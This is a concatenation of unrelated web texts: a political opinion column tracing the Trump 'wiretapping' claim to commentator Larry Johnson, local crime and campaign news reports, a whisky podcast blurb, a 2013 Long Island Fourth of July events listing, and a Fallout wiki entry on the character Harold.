No senior official of our Intelligence Community has ever spoken publicly in this fashion, implying the White House is dishonest and unhinged—but then, we’ve never had a commander-in-chief declare open war on our spies, terming them “very anti-American” and comparing them to Nazis. Ledgett’s candor may have something to do with the fact that he is retiring next month after a 40-year career in the spy business and feels free to “speak truth to power” as they say in the movies.
The question of where the president got the nutty idea that Obama “wiretapped” him therefore is important. Based on White House statements, Trump’s tweetstorm was inspired by comments made by Andrew Napolitano, a Fox News regular and former New Jersey judge with no background in anything relating to espionage. Notwithstanding Napolitano’s indulgence in weird conspiracy theories—he is a 9/11 truther who has pushed the idea that the Feds will enter your house to forcibly vaccinate you, additionally claiming that it was NSA, not the Russians, who hacked the Democrats last year—he was considered credible by Team Trump.
What, then, are the origins of Napolitano’s absurd accusation that Obama called on GCHQ to spy on Trump Tower, in both circumvention and violation of numerous British and American laws—which “the judge” asserted came from “three intelligence sources”? That these sources were bogus has been made clear by Fox News, with Shepard Smith offering a stunning on-air rebuke to its own talking head:
Fox News cannot confirm Judge Napolitano’s commentary. Fox News knows of no evidence of any kind that the now-president of the United States was surveilled at any time, in any way. Full stop.
A bit of digging has revealed that the main “intelligence source” for Napolitano’s dishonest claim was none other than Larry Johnson, a notorious figure in espionage and security circles. Johnson does possess a modest background in the Intelligence Community, working as CIA analyst for four years at the end of the Cold War, then serving as a counterterrorism official with the State Department from 1989 to 1993. He has been out of the intelligence business for a generation, and he has spent subsequent decades vehemently denouncing his former employers.
Johnson managed to get intermittent airtime for his denunciations of the IC, particularly in the realm of counterterrorism. He regularly castigated American officialdom for allegedly exploiting the issue for institutional benefit. Back in 2001, Johnson memorably accused Washington of inflating the “declining terrorist threat,” which left Americans “bedeviled by fantasies of terrorism”—exactly two months before 9/11.
After that, Johnson had difficulty getting mainstream attention for his big ideas, so he moved into fringe political commentary. In 2008, he went after Barack Obama with gusto on his website, asserting based on “four sources (three who are close to senior Republicans) that there is video dynamite—Michelle Obama railing against ‘whitey’ at Jeremiah Wright’s church.” Almost a decade later, no such tape has emerged, and after that debacle Johnson was deemed a complete pariah.
He then headed where angry failures in the West go when they are shut out of even fringe outlets at home: the Kremlin. Johnson reinvented himself as a regular on RT, Putin’s propaganda network, finding a home among the stable of freaks and rejects who get airtime on Moscow’s outlet. Since RT features avowed neo-Nazis and even an Illuminati correspondent as regulars, it can’t be said that Johnson is their most outlandish talking head.
On Putin’s dime, Johnson has denounced American spies at every opportunity, unmasking nefarious IC plots and assassinations which others have not been able to detect. In recent months, he has towed the Putin-and-Trump line on RT, spinning conspiracy theories about the downfall of Mike Flynn, the president’s ill-fated first National Security Advisor. Johnson also went on RT to denounce the IC’s conclusion that Russian operatives were behind the hacking of the Democrats in 2016.
Significantly, on March 5—the day after the president unleashed his “wiretapping” tweetstorm—Johnson went on RT to float his latest conspiracy theory, that President Obama illegally monitored Donald Trump and his entourage last year, co-opting IC leadership in secret efforts to derail the Republican nominee. On air, Johnson explicitly pointed the finger at British intelligence in this plot, repeatedly referring to GCHQ as the alleged culprit—though he laughably kept calling it “GHCQ.”
This, then, is the origin of the fact-free assertion that the Brits spied on Trump for Obama: a perfect example of the RT to Fox News to White House chain of lies. In other words, this was unfettered Kremlin disinformation, proffered by a notorious crank in Putin’s service. Johnson subsequently spoke to The New York Times, at Napolitano’s request, admitting he was the source for the “bombshell” story, asserting that the information came from unnamed IC officials.
These mysterious officials, if they exist—and, given Johnson’s track record, there’s no reason to think they do—have no idea what they’re talking about. The president’s “wiretapping” hoax has generated the strongest public denials and denunciations ever recorded in the annals of both British and American intelligence.
None of this seems to have registered with the president. During his painful-to-watch press conference on Friday with Angela Merkel, the German chancellor, Trump brushed off questions about his tweetstorm by dumping the matter on Fox News, notwithstanding the fact that Sean Spicer, the president’s spokesman, read Napolitano’s accusation against GCHQ verbatim from the White House podium:
I didn’t make an opinion on it. That was a statement made by a very talented lawyer on Fox. And so you shouldn’t be talking to me, you should be talking to Fox, okay?
Since Fox News has admitted it cannot substantiate Napolitano’s claims, one wonders where that leaves the president and his tweets. Trump indicated that he stands by his “wiretapping” claim since during the presser he joked, “At least we have something in common, perhaps,” referring to allegations that NSA intercepted Chancellor Merkel’s phone calls, too.
This issue has become a millstone around the White House’s neck, sucking all the oxygen out of the room. It’s difficult to see how the administration will get much of anything done with Congress as long as President Trump refuses to admit he made a mistake. Increasing numbers of Republicans on Capitol Hill are frustrated with the White House and its bizarre refusal to back away from an obviously false story which emanates from Moscow.
Leading Congressional Republicans now are distancing themselves from Trump, and Rep. Tom Cole, an Oklahoma Republican, has stated that the president owes his predecessor an apology for sticking by such an ugly lie. Even Trump backers in the media are admitting that the president needs to walk himself and his administration away from this self-created debacle, offering helpful suggestions how the White House can extricate itself from the “wiretapping” quicksand.
However, the president so far shows no signs of backing down—much less away. For all their denunciations of “fake news,” the White House has become a leading purveyor of it. As long as Trump sticks with his ridiculous story, the country will keep talking about a piece of Kremlin disinformation which has become the number-one story in Washington and across America—precisely as Moscow intended.
Watch John Schindler discuss this and other national security concerns with Observer Editor-in-Chief Ken Kurson.
John Schindler is a security expert and former National Security Agency analyst and counterintelligence officer. A specialist in espionage and terrorism, he’s also been a Navy officer and a War College professor. He’s published four books and is on Twitter at @20committee.HOUSTON - A man, who police said was wearing an ankle monitor while awaiting a murder trial, has been arrested in the fatal shooting of a security guard earlier this week.
Jeremy Wayne Miller, 24, is charged with murder, attempt to take a weapon from a police officer and escape.
Houston police said the victim, 55-year-old Daniel Arp, was working security early Wednesday morning at an apartment complex at 8250 Park Place when he was found dead from gunshot wounds in the parking lot.
Investigators released surveillance video of a suspect in the case and police said Miller was identified after further investigation.
Officers with the HPD Eastside Patrol Division Tactical Unit arrested Miller Thursday night at his apartment in the 70 block of Edgebrook. During the arrest, police said Miller tried to take an officer's gun and run.
According to investigators, Miller later confessed to his role in Arp's murder, but a motive is not known at this time.
HPD said Miller was wearing a court-mandated ankle monitor while awaiting trial for the July 5, 2014, murder of Tremayne Richardson at 1773 Nichole Woods.
Last year, Miller was also charged with aggravated assault with a deadly weapon for his involvement in a shooting in the 7300 block of the Gulf Freeway on Aug. 2, 2014. He was arrested nearly two weeks later on that charge and later charged in connection with the death of Richardson, police said.
A Channel 2 investigation earlier this week showed there are 212 people out on bond charged with murder or manslaughter. In addition, there are 10 people out on bond for capital murder.
Defendants charged with those crimes can get bond. It's less likely in capital murder cases but in murder cases the suggested amount given to judges is $50,000.
Judges have the right to hike up or lower that amount.
The suggested amounts come from the Harris County District Court bail schedule which gives high amounts for repeat offenders.
You can view a map of people out on bond by ZIP code below or by clicking here.
Copyright 2015 by Click2Houston.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Democratic presidential candidate Hillary Clinton said Monday that she's feeling better since falling ill at a 9/11 memorial ceremony, but she never lost consciousness and didn't think her pneumonia diagnosis was significant enough to disclose beforehand.
"I just didn't think it was going to be that big a deal," she said of the pneumonia diagnosis she received Friday. She told CNN's "Anderson Cooper 360" that despite doctor's orders to rest for five days, she thought she could "just keep going forward and power through it and that didn't work out so well."
Clinton abruptly left the ceremony and appeared to stumble while she was waiting for her motorcade. Asked whether she fainted, Clinton replied: "No, I didn't. I felt dizzy and I did lose my balance for a minute. But I got in, once I could sit down, once I could cool off, once I got some water, I immediately started feeling better."
Later Tuesday, Clinton told supporters via text message and Facebook, "I'm feeling fine and getting better," adding, "Like anyone who's ever been home sick from work, I'm just anxious to get back out there."
Clinton's evening interview, in which she promised to release more information at some point, came as her campaign scrambled to head off lasting damage from a difficult weekend. Aides are promising to release more of her medical records following her bout of pneumonia and conceding they were too slow in providing information about her condition.
An outbreak of respiratory illness swept through Hillary Clinton's campaign in the weeks before she was diagnosed with pneumonia, campaign aides said Monday.
The Democratic presidential candidate abruptly left Sunday's event after feeling "overheated." A video later posted on Twitter showed her staggering and eventually slumping forward before being held up by three people as she was helped into a van.
On Sunday, her campaign answered questions about Clinton's health and whereabouts with two short statements, both issued hours after she left the memorial in lower Manhattan. More than 20 hours later, her campaign gave a fuller accounting of the episode, which sparked a wave of bipartisan concern about her health and questions about her political transparency.
Clinton's husband, former president Bill Clinton, said in an interview Monday with PBS' Charlie Rose that Hillary Clinton was "doing fine" after a good night's sleep. He added that if there are more health problems that caused her apparent weakness, "then it's a mystery to me and all of her doctors."
He said that "on more than one occasion" over the years "the same sort of thing's happened to her when she got severely dehydrated."
Clinton said in the live telephone interview with CNN that she started to feel hot at the event, which took place on a muggy day in New York. There was little shade where Clinton was standing alongside other dignitaries.
As family members of 9/11 victims read the names of the nearly 3,000 people killed in the attacks, she decided to leave and get a drink of water. She was wearing a wool suit and had been diagnosed with pneumonia on Friday, a fact her campaign had not made public.
In fact, campaign aides said Monday, a number of staff members at her campaign headquarters had been ill in recent weeks, including campaign manager Robby Mook.
At the apartment, she played with her grandchildren, even chasing them around the room, Fallon said. Clinton exited the building on her own, wearing sunglasses and carrying a handbag.
She waved to reporters and said: "I'm feeling great. It's a beautiful day in New York." She was then driven to her home in suburban Chappaqua, New York.
The public was left in the dark about Clinton's whereabouts for about 90 minutes, sparking widespread speculation about her condition. That was a mistake, Fallon said.
"It's just the kind of thing that if it happens to you and you're a busy, active person, you keep moving forward," Clinton said on CNN.
Clinton's doctor, Lisa R. Barback, later came to her home and conducted an examination. In a statement released by the campaign eight hours after the incident, Bardack said the 68-year-old Clinton "became overheated and dehydrated" at the 9/11 ceremony. By the end of the day, she was "rehydrated and recovering nicely," the doctor said.
Campaign aides said it was Clinton's decision to attend weekend fundraisers and the Sunday ceremony, despite Friday's diagnosis. Late Sunday evening, she canceled a California campaign swing scheduled for early this week. Her husband will headline some of her events, an aide announced late Monday.Jim Rutledge gets most of the credit for reviving Four Roses Bourbon in the US over the last decade after years of neglect by the brand’s previous owners, who shipped the distillery’s high-quality Bourbon to export markets while giving domestic consumers a cheaply blended Four Roses American Whiskey instead. This week, Rutledge announced his plans to retire September 1 after 49 years with Seagram and Four Roses, and will become the distillery’s Master Distiller Emeritus. We’ll talk with Jim about his plans for the future, and how the success of Four Roses in recent years came with a personal cost. We’ll also talk about whisky and food with award-winning chef David Bouley, discuss Suntory’s new Hibiki Japanese Harmony whisky with blender Shinji Fukuyo, and preview the upcoming Harlem Whiskey Festival.
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By Sandra Stelmach Published: June 20 2013
Long Islanders gather together for some of the largest celebrations in the country. With fast-approaching festivities and fireworks, don’t miss out on the fun - check out what’s happening near you and across Long Island!
The nation’s favorite major summer holiday is just around the corner - that’s right, it’s almost Independence Day! Americans celebrate the Fourth of July in accordance to the adoption of the Declaration of Independence on July 4, 1776 in Philadelphia - the former thirteen states declared their freedom from British governance. July 4, 1777, the one year anniversary of our independence, was celebrated with music, ringing bells, bonfires, and fireworks. Ever since, Americans continue the tradition in celebrating their freedom by taking part in some fun and entertaining events in commemoration.
Long Islanders gather together for some of the largest celebrations in the country. These fast-approaching festivities include fairs, carnivals and festivals to concerts and sports games to picnics, cruises, and of course the stars of the day - FIREWORKS! Don’t miss out on the fun - check out what’s happening near you and across Long Island!
Harry Chapin Lakeside Theatre
Eisenhower Park, East Meadow 11554
516-572-0200
Saturday, June 29, 2013 - 5:30 pm
Free
Check out some world class fireworks displayed by Grucci and presented by TD Bank. Free tickets at TD Bank stores. Gates open at 5 p.m. Show begins at 5:30 p.m. Fireworks at darkness. Performances by Dean Karahalis and the Concert Pops, followed by Somethin’s Fresh, the best ‘80’s R&B, Dance and Funk Classic band on Long Island.
Moore’s Lane, Greenport, NY 11944
Tuesday, July 2, 2013
Celebrate the holiday at a carnival fundraiser hosted by the Relief Hose Co. & Phenix Hook & Ladder. The carnival will run through July 6th. Fireworks are on July 4th and July 6th at 10 pm. The time of the carnival is to be announced.
Chateau Briand
440 Old Country Road, Carle Place, NY 11514
516-334-6125
Wednesday, July 3, 2013 - 9 pm
Celebrate the Fourth of July early at Body English's Annual Celebration. Table reservation and bottle services are available. Call early at 516-398-8777.
37th Annual Macy’s 4th of July Fireworks Spectacle Along the Hudson River in New York City Thursday, July 4, 2013 - 8 pm Take an adventure into the city to view more than 40,000 fireworks light up the sky along the Hudson River synchronized to a 25-minute soundtrack. Get yourself comfortable on the couch since the show will be also be broadcast on NBC at 8 pm. Fireworks show curated by Usher.
Umbrella Beach
Old Montauk Highway, Montauk, NY 11954
631-668-2428
Thursday, July 4, 2013 - 9 pm - 9:45 pm
Watch a spectacular show of fireworks in Montauk sponsored by the Montauk Chamber of Commerce. Fireworks can be viewed from any town beach. (Rain date is July 5th).
55 South Bicycle Path, Farmingville, NY 11738
Thursday, July 4, 2013 - 6 pm
Free
Enjoy a tribute to Billy Joel by Mike Del Guidice and Big Shot. Doors open at 6 pm and the concert begins at 7:30 pm. Stick around for amazing Grucci fireworks beginning at 9:30 pm. See event listing for more details.
Captree Park
3500 E. Ocean Parkway, Babylon, NY 11702
631-592-9804
Thursday, July 4, 2013 - 6:30 pm
7 in Heaven Singles presents a boat cruise joy ride aboard Captain Tim’s, Northstar II, on the Great South Bay with lots of fireworks. Light refreshments will be provided such as appetizers, sandwiches, water, soda, and some dessert. Bring your own beer or wine. All ages are welcome. Free membership to sign up for the group. Fees apply for the event - pre-pay now for $48 (bring a friend for a discounted price) or $55 (cash) at the door with RSVP. NY State parking fee of $8. If it rains, participants will be issued a refund. See event listing for details.
Firemen’s Memorial Field
E. Fenimore St and Albermarle Ave, Valley Stream, NY 11580
Thursday, July 4, 2013- 6 pm - 10 pm
The park opens at 6 pm for ticket holders only. The ground show begins at 8 pm. The Fireworks Aerial Display begins at 9:15pm or at coordinator’s discretion. Personal items are subject to search for security purposes. The rain date is July 5th.
333 Bayville Avenue, Bayville on the Sound, New York 11706
516-628-3000
Thursday, July 4, 2013- 6:30 pm
Reserve your table for dinner and fireworks on the beach from the club's private deck and restaurant.
Finley Middle School and Morgan Memorial Park
City of Glen Cove, 11542
Thursday, July 4, 2013
Spend the morning watching the Annual July 4th Children’s Bicycle Parade from 10 am to 11 am at Finley Middle School. Later in the night, view fireworks at the Morgan Memorial Park at 9 pm.
Bethpage Ballpark
3 Court House Drive, Central Islip, NY 11722
Thursday, July 4, 2013 - 7:05 pm
Watch the Long Island Ducks play against the Somerset Patriots followed by a Grucci fireworks show presented by Atlantic Honda. Purchase tickets online or by calling 631-940-8499. See event listing for more details.
Pettit Ave, Bellmore, NY 11710
Thursday, July 4, 2013 - 8 am
Runners take on the streets of Bellmore to run/walk either a 1-mile course or 4-mile course. The 1- mile run is for runners 12 years of age and under. The 4- mile run is for runners 13 years of age or older. Youth entries are $10 and adult entries are $20 between June 1 and July 3. Entries on race day are $22. Athletes 70 years or older pay nothing. The 1-mile run starts at 8 am. Refreshments will be available before the race, at every mile of the race, and after the race.The race starts at Pettit Avenue and finishes at Grand Ave.
4th of July Fireworks: Asharoken
Asharoken Avenue, Asharoken, NY 11768
(631) 261-7098
Thursday, July 4, 2013 - 9:15 pm
The fireworks will be launched from a barge on the Long Island Sound side of Asharoken Avenue and will begin at approximately 9:15pm, weather permitting (raindate: Friday, July 5).
Please note and remember: there is no parking on any Village street and there are no public parking facilities in the Village. Please make sure you and your guests park only on your private property. Due to excessive traffic congestion, for everyone's safety, all traffic and parking laws will be strictly enforced.
Bonfires will be permitted if weather conditions allow them to be lit safely. Bonfires should not be oversized and only wood materials should be burned. The police department will be patrolling the beach. Personal fireworks are strictly forbidden. The fireworks will be launched from a barge on the Long Island Sound side of Asharoken Avenue and will begin at approximately 9:15pm, weather permitting (raindate: Friday, July 5).Please note and remember: there is no parking on any Village street and there are no public parking facilities in the Village. Please make sure you and your guests park only on your private property. Due to excessive traffic congestion, for everyone's safety, all traffic and parking laws will be strictly enforced.Bonfires will be permitted if weather conditions allow them to be lit safely. Bonfires should not be oversized and only wood materials should be burned. The police department will be patrolling the beach. Personal fireworks are strictly forbidden.
6164 Route 25A, Wading River, NY 11792
631-499-6824
Thursday, July 4, 2013 - 6 pm - 11 pm
Free Admission
Come out with your family and friends to win some prizes, play some games, enjoy festival good, or just go on the rides! Admission is free for the festival. $30 pay-one-price for rides. The festival will go through July 7, 2013. Fireworks on July 5th at 9 pm.
Peconic Riverfront
Riverhead, NY 11901
Thursday, July 4, 2013 - 6:30 pm
Free
Come see 2009 Children’s Grammy nominee, Brady Rymer, rock it out again this year for Independence Day with his Little Band that Could in Riverhead. The evening will be followed by a spectacular fireworks show around nightfall. Make sure to bring your chairs and blanket.
Garvies Point Road & the Harbor, Glen Cove, NY 11542
631-563-8551
Saturday, July 6, 2013 and Sunday, July 7, 2013- 11 am to 9 pm
Free Admission
Spend the weekend at the annual Sea-Faire festival on the waterfront in Glen Cove with games, food, live music, and rides ($30 pay-one-price). The festival will be open from 10 am to 10 pm on Saturday. Grucci fireworks show will be held Saturday at 9 pm.
36 Barkers Island Road, Southampton, NY 11968
631-283-5847
Friday, July 5, 2013 - 7 pm - 10 pm
Admission by Tickets - Starting at $300 for General Admission
Fresh Air Home is a residential camp offering special recreational programs for physically challenged children. The picnic raises over 40% of the Home’s annual program expenses. Enjoy a benefit picnic dinner at the only Fourth of July fireworks family party in Southampton. Grucci presents fireworks over the Shinnecock Bay. Rain date is July 7th. Tickets can be purchased online. See event listing for details.
Old Bethpage Village Restoration
1303 Round Swamp Road, Old Bethpage, NY 11804
516-572-8400
Thursday, July 4, 2013
A re-creation of a Long Island July 4th celebration at the beginning of the Civil War, in honor of the soldier recruits of the New York Volunteers. Festivities will include a National Patriotic Picnic (bring your own picnic lunch), band concerts and fiddle music, children's games, rifled-musket firings and a patriotic parade and ceremony.
164 Old Montauk Highway, Montauk, NY 11954
631-668-2554
Thursday, July 4, 2013 - 9:30 am
Show off your skills by taking part in this year’s sandcastle contest by using sand, water, and any other natural material native to the beach at Hither Hills State Park. Castles will be made on the spot. Prizes will be given to the best sculptors and castles. The contest will be held every Thursday from June 27 to August 29. Registration is held every Thursday from 9:30 am - 10:30 am at the park’s beach house.
Route 25A and Prime Ave, Huntington, NY 11743
631-271-8423
Thursday, July 4, 2013- 8 pm - 10 pm
The North Shore Pops Concert Band consisting of a talented group of musicians perform tunes from Sousa to Gershwin, and Broadway to American Patriotic anthems at Heckscher Park
The Fishery Parking Lot
1 Main Street, East Rockaway, NY 11518
Friday, July 5, 2013 through Sunday, July 7, 2013
Free
Spend the 4th of July weekend at the East Rockaway festival with family and friends. On Saturday at 3 pm, The Eliot Lewis Trio will be performing live after an opening by Drive performing an ‘80s music tribute plus a tribute to The Cars. Enjoy some food, games, rides, a petting zoo, and fireworks! Friday: 6 pm to 11 pm Saturday: 12 pm to 11 pm Sunday: 12 pm to 8 pm
Walker Street
516-541-1443
Thursday, July 4, 2013 - 10:30 am
The Chamber would welcome your participation in the 4th of July Parade. Assembly time is 10:30 a.m. The parade will begin at 11:00 a.m. at Walker Street and proceed south on Lake Shore Drive to Park Blvd.
Fourth of July Fireworks: Grangebel Park
Peconic Ave
Riverhead, NY 11901
Thursday, July 4, 2013 - 9 pm
Watch the fireworks light up the skies!
118 East Main Street, Riverhead, NY 11901
631-727-4343
Wednesday, July 3, 2013 - 8 pm
$25 in advance/ $30 at the door
Disco and dance the night away with the Terry Hines Band.
118 East Main Street, Riverhead, NY 11901
631-727-4343
Thursday, July 4, 2013- 6:30 pm - 8:30 pm
Free
FREEdom Fest featuring fabulous food and a FREE musical performance by the swingin’ GI Jivesters! There’s always something to celebrate at The Suffolk Theater, so bring the whole family and join us for great food, fun and music on July 4th prior to Riverhead’s fireworks display!
Doors open at 6pm, so come early and join us for dinner (dinner cost additional) and order up some all American food and enjoy some great music!
118 East Main Street, Riverhead, NY 11901
631-727-4343
Friday, July 5, 2013 - |
Richard Grey, who was a doctor living in the Hub who was equally perplexed by the strange mutants— tracked the mutant population and eventually found its source: an old military base that seemed to be spawning mutant creatures.
Inside, most of them were killed by the mutants that littered the base as well as by its automated security systems. Harold, Richard and a few others made it fairly deep into the base, where they found immense vats filled with a strange thick, green solution (FEV) that seemed to be mutating the animals. A large robotic arm knocked Grey into a vat, where Harold assumed he died (when actually, he became the Master). Harold himself was knocked unconscious. He awoke some time later out in the desert, already starting to mutate. A caravan eventually found him and brought him back to the Hub, where he settled into a destitute existence.
A mutant down on his luck Edit
He is now very old, sick, and he tends to ramble on a lot. Some of his information may be out of date. He can be cranky at times, but he likes to tell stories.[3]
The Vault Dweller first meets him in the Old Town section of the Hub, where Harold makes a living begging for spare change. In exchange for some money, Harold provides the Vault Dweller with a great deal of information, mostly dealing with the Mariposa Military Base, and Richard Grey, as well as some tactical information on the deathclaw that lives near the Hub, which Butch Harris, leader of the Far Go Traders, requests the Vault Dweller to deal with, as he is losing his caravans to it.
Sometime between 2162 and 2241, a small tree (which he calls Bob, although he likes to joke that his name is Herbert) began to grow out of the side of Harold's head. It is an entirely new species of tree - unique and special, just like Harold.
Fallout: Brotherhood of Steel and has not been confirmed by The following is based onand has not been confirmed by canon sources.
Traveler of the Wasteland Edit
After the destruction of the Master's Army, Harold left the Hub and became a traveler who visited various places around the wasteland. It's known that he traveled in Texas to Carbon where he had a sexual encounter with Carbon's prostitute, Ruby, and the ghoul-city of Los around 2208. He wanted to have a good time in Los after leaving Carbon but the arrival of super mutants and the loss of his hand, his toe and his eye in the city changed the deal. The Initiate helped Harold to recover his parts so he could leave the city before its destruction. Harold's travels ended in Gecko in 2238.[4]
Quests Edit
Find Missing Pieces - Harold has lost three pieces of his body and asks the player character to retrieve them.
Harold's romp with Ruby - the Initiate can remind Harold of his adventures with Ruby, the prostitute from Carbon, for 300 XP.
Leader of Gecko Edit
In 2241, Harold is a very old but still spry-looking ghoul.[5] The Chosen One runs into Harold in Gecko, the ghoul town not far from Vault City. After the destruction of the Necropolis following Fallout, most of the ghoul population of the town migrated far to the north to form a settlement around an old nuclear power plant built by Poseidon Oil before the Great War. Anyone else would likely be killed by long term exposure to radiation, but the ghouls just find it pleasant. When Harold arrived, the plant was being run dangerously and stupidly. Harold quickly took over from the well-meaning but inept leaders of Gecko and got the reactor into some kind of working order. When the Chosen One arrives in Gecko, Harold asks him to help powerplant problem.
The Chosen One still heard mention of Harold from time to time. Apparently, the tree growing from his head has gotten larger, and if rumors are to be believed, fruit is growing from it. The seeds are said to be remarkably tough, and several of them have taken root even in the most barren stretches of the wasteland.[6]
Van Buren and has not been confirmed by The following is based onand has not been confirmed by canon sources.
Back home Edit
By the 2250s, Harold was ill. The tree in his head developed an unknown disease and was dying. Much to his surprise, Harold found himself affected as well. He didn't think he was going to die, but, he just didn't feel right in the head.
So, he set out on a quest for a cure. Naturally, he didn't have an easy time of it either. People just didn't seem to want a mutant around any more. But, Harold didn't let that stop him. He persisted in his quest until he came upon the Twin Mothers tribe, which originated from his home, Vault 29.
Much to his surprise the tribe took him in and accepted him as he was. He explained his quest to the tribal leaders and was told that they would consult their goddess. Days later, Harold was approached by the tribal shaman and given a potion to drink. It was a foul concoction, but it worked. Bob, the tree, got better and was happy again.
Harold couldn't let such a good deed go unrewarded, so he offered to help the tribe in any way that he could. They smiled at him, and thanked him, but declined his help. "The goddess will provide," they always said. Harold said that he would like to pay his respects to the goddess, and was taken to the tribal shrine to be granted a private audience. He wasn't really surprised when the projected image of a woman appeared before him, but he was taken aback when she told him where he could find her. His return to the Nursery was a moment of joy for Diana and a 'new experience' to him, as much of his early memories faded with age.
Harold traveled to the Nursery and spent considerable time there, He even considered settling down and spending the remainder of his day in the tranquility of the gardens. However, eventually he left and traveled even further east.
If the Prisoner gives Diana the information on the FEV and the New Plague from the Boulder ZAX, Diana will be able to create a cure to the New Plague virus in the form of a small fruit, by genetically engineering it from Harold's tree.
Van Buren. End of information based on
Oasis Edit
Harold eventually found himself overwhelmed by the growth of Bob, and he became rooted to the ground during his travels in the northern Capital Wasteland region. Here, he was discovered by several people who began to worship him as a god, forming a small and exclusive cult, known as the Treeminders. Bob began to blossom, and many plants grew in this area, which became green with life. During this period, Harold developed a mutation which enabled him to "see" the area around Oasis, through the very trees that came from Bob's seeds.
He would use his new found ability to bring in wanderers, all the while hoping one of them would put an end to his troubles- unfortunately, the Treeminders' strange ways, and insistence on using an intoxicating, potentially poisonous "sap" (as a "purification" ceremony) drove off most of the wanderers, many in worse mental shape than they were prior. His persistence may pay off should the Lone Wanderer come into view. On Harold's orders, the Treeminders can allow the Wanderer safe passage into Oasis.
If the Lone Wanderer meets Harold, he reveals his true identity and begs for a merciful death after being stuck in the same position for decades. Although commanding the Treeminders to perform questionable deeds for his own amusement provided some entertainment, it did not last. The other dwellers of Oasis either ignore or misinterpret Harold's wishes as a moral and spiritual test, much to Harold's chagrin. Thus, his only recourse is to ask the Lone Wanderer to take his life. However, two members of the Treeminders (namely, the leader of the cult and his wife) can be found arguing about Harold. The leader of the cult wishes for Harold's gift of plant life to be kept safe and confined to Oasis, while his wife wishes for Harold's gift to be shared and spread throughout the wasteland.
They could ask the Lone Wanderer to accomplish their own wishes, and the Lone Wanderer can decide whether to carry out Harold's wish of death, the cult leader's wish of keeping Harold's spreading growth confined to just the Oasis or the wife's wish to spreading his glory across the wasteland. Through granting Harold's wish, the Lone Wanderer's skin will be as hard as Harold's. If the Wanderer chooses to keep Harold alive, they can tell Harold that he has been given a gift and must stay alive to save the lives of others. Harold, finding a new reason to live, replies that he was selfish to want to kill himself, and then asks Bob if he agrees. Harold finally says that he is at peace with himself and, for the first time in a long time, Harold is finally happy.
Nature of Harold Edit
To the untrained eye, Harold appears to be an ordinary ghoul. This is not so, however. Ghouls are the result of massive and/or long-term radiation damage to a human body; Harold is a product of the Forced Evolutionary Virus. Unlike most people who are exposed to FEV, Harold did not become a super mutant, but is the result of a unique combination of radiation damage from constant low-level environmental exposure, indirect exposure to FEV (it is unclear how Harold was infected with FEV as he blacked out for a while during his exploration of Mariposa) and a fair amount of random chance. Thus he's not a ghoul, and certainly not a super mutant. To quote Tim Cain, "Harold is special."
Furthermore, Tim Cain has this to say on the subject: "As for contact [with FEV], any contact at all will infect the subject, but the amount of contact determines the result. For example, I imagine Harold had some contact with the virus, but he was not fully immersed in it, so he became a different mutant than the Master's subjects. Full immersion, of course, is the preferred method of infection, as it provides the virus a large surface area for infection."
Another similar FEV-created, ghoul-like mutant is Talius.
Harold's unusual behavior is treating Bob as if the plant were actually sentient. Although at no point does the plant indicate that it can convey feelings, Harold certainly is not stupid, and perhaps only crazy in the humorous sense— yet he still insists on hearing out the plant's opinions on certain matters that he might otherwise take seriously. Given Harold's new found ability to "see" through the trees that are descended from Bob through the use of extreme concentration, it may not be much of a stretch to suggest that both are deeply linked in some unknown way, almost certainly as a result of FEV exposure. Because of his mutation, it is no surprise that Harold is afraid of fire.
Despite his appearance, Harold is a kind-hearted soul with a comical personality. He has made many friends throughout his travels, potentially including the Vault Dweller, the Chosen One and the Lone Wanderer. He is also good with kids, as evidenced by his friendship with Sapling Yew in Oasis, of whom he is particularly fond.
Interactions with the player character Edit
Fallout Edit
General Services Quests Companion: Talking head: Merchant: Modifies items: Doctor: Starts quests: Involved in quests: Find the missing caravans
Quests Edit
Find the missing caravans: Beth tells the Vault Dweller to go to Harold to obtain more information on the missing caravans.
Tell me about Edit
Harold's Tell me abouts in the original Fallout Query Response Richard, Grey Brilliant guy. A doctor and philosopher. Long ago he lead the expedition where I got changed into a mutant. Master Who? Is he some sort of sex therapist? I could use one, you know. Ghouls Mutants. Doesn't matter what they call themselves. Loxley Him. He leads the Thieves Circle. Thinks he's Robin Hood. [cough] He's alright, I guess. Cathedral I've seen religions come and religions go, and I hope this one goes. Soon. Vault Yeah, I came from a Vault. Too many people, not enough food and water. But you wouldn't know anything about that, would you? War Horrible. The world just went insane. Long ago, but I'll never forget it. Never. Decker [Cough] Trouble. Nothing but trouble.
Fallout 2 Edit
Quests Edit
Solve the Gecko powerplant problem: Harold is concerned that if the pollution does not cease, Vault City will assault Gecko and kill all of the ghouls.
Fallout 3 Edit
General Services Quests Essential: Enslavable: Companion: Bounty: Merchant: Repairman: Doctor: Rents bed/room: Starts quests: Oasis Involved in quests:
Quests Edit
Oasis: Birch wants to stop Harold's influence on the wasteland, Laurel wants to spread his influence and Harold just wants to die.
Fallout: Brotherhood of Steel Edit
General Services Quests Companion: Faction: Merchant: Doctor: Starts quests: Find Missing Pieces Involved in quests:
Quests Edit
Find Missing Pieces: Harold is having trouble keeping parts of his body on, so he sends the Initiate to look for his missing body parts.
Fallout: New California Edit
content from Fallout: New California and has not been confirmed by The following is based onand has not been confirmed by canon sources.
Harold can be acquired at the shop by any player character that has Endurance. When shopping with him as the active companion, the player character can exhaust him in order to gain an additional two bottle caps for every item they sell.
When the player character performs the camp action, he will become unexhausted. However, if the player character does not have Charisma at this time, he must be discarded.
Notable quotes Edit
Fallout Edit
"Well, after the Great War, my Vault was one of the first to open. [Takes a deep breath] Whew. Long time." "Oh, kind of ya, friend. Very kind. You know, if I could clear the gunk out of there, you, just might find a tear in Old Harold's eye." "Nevermind, that was from my time. I'm cranky, old and I've been that way ever since I changed." Harold's headshot
Add an image to this gallery
Fallout 2 Edit
"I gotta tell ya, ol' Harold's a bit slow on the draw hisself. The two of us talkin' wouldn't get a whole lot done." "Mighty kind a'ya. Not many smoothskins would do that for a town full of ghouls. Kinda reminds me of a smoothie I knew, way back when." "I'd rather look like this than look like you and have to be you. You are a bonehead. Get the hell outta here."
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"Yep, but I’m doing great for being dead! I never get tired of the looks when I tell that one." Play sound
FO2 Harold GreatForBeingDead.ogg
Fallout 3 Edit
" See Herbert, now that's a nice person for you. Why can't you be more like that? " Play sound
Herbert nice person.ogg
" " Please, I can't very well speak to you when you're back there. " Play sound
Speak back there.ogg
" "Come around, to where I can see you (coughs and splutters)." Play sound
Come around.ogg
Fallout: Brotherhood of Steel Edit
"Sometimes the meat slides right off the bone, if you know what I mean. Heh heh. Whoo. That was a wild time." Play sound
